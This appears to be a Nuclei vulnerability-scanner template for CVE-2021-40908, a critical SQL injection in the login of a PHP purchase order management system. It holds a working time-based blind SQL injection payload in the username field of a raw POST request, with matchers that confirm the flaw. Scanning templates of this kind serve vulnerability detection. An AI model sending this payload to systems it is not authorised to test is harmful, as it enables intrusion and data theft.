id: CVE-2021-40908

info:
  name: Purchase Order Management v1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    SQL injection vulnerability in Login.php in Sourcecodester Purchase Order Management System v1 by oretnom23, allows attackers to execute arbitrary SQL commands via the username parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patches or updates provided by the vendor to fix the SQL Injection vulnerability in the Purchase Order Management v1.0 application.
  reference:
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/CVE-nu11-09
    - https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40908
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40908
    cwe-id: CWE-89
    epss-score: 0.0161
    epss-percentile: 0.8612
    cpe: cpe:2.3:a:purchase_order_management_system_project:purchase_order_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: purchase_order_management_system_project
    product: purchase_order_management_system
  tags: cve2021,cve,sqli,purchase-order,poms,purchase_order_management_system_project

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username=test'+AND+(SELECT+4458+FROM+(SELECT(SLEEP(6)))JblN)+AND+'orQN'='orQN&password=test

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "status\":\"incorrect\"")'
        condition: and
# digest: 4a0a00473045022100e6f6b36eba8496c9a593169aab8d1c95a86ab766f8a7b6ff30f96d2d5d78e45b022054ee34ff5a00ffd01500719d1a15661146d35eb17a7224a0a24f38c5519de6bb:922c64590222798bb761d5b6d8e72950